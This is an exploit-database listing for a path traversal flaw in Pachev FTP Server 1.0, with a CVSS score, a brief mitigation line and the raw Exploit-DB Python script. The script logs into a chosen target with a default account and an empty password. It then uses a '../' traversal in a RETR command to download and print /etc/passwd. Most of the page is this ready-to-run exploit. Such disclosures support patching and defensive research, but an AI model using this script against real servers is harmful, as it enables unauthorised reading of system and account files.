header-logo
Suggest Exploit
vendor:
Pachev FTP Server
by:
1F98D
7.5
CVSS
HIGH
Path Traversal
22
CWE
Product Name: Pachev FTP Server
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: N/A
Related CWE: N/A
CPE: a:pachev:pachev_ftp
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

Pachev FTP Server 1.0 – Path Traversal

This exploit allows an attacker to traverse the file system of the Pachev FTP Server 1.0 and retrieve the contents of the /etc/passwd file.

Mitigation:

Ensure that the FTP server is configured to restrict access to the file system.
Source

Exploit-DB raw data:

# Exploit Title: Pachev FTP Server 1.0 - Path Traversal
# Date: 2020-01-23
# Vulnerability: Path Traversal
# Exploit Author: 1F98D
# Vendor Homepage: https://github.com/pachev/pachev_ftp

from ftplib import FTP

ip = raw_input("Target IP: ")
port = int(raw_input("Target Port: "))

ftp = FTP()
ftp.connect(host=ip, port=port)
ftp.login('pachev', '')                   
ftp.retrbinary('RETR ../../../../../../../../etc/passwd', open('passwd.txt', 'wb').write)
ftp.close()
file = open('passwd.txt', 'r')
print "[**] Printing the contents of /etc/passwd\n"
print file.read()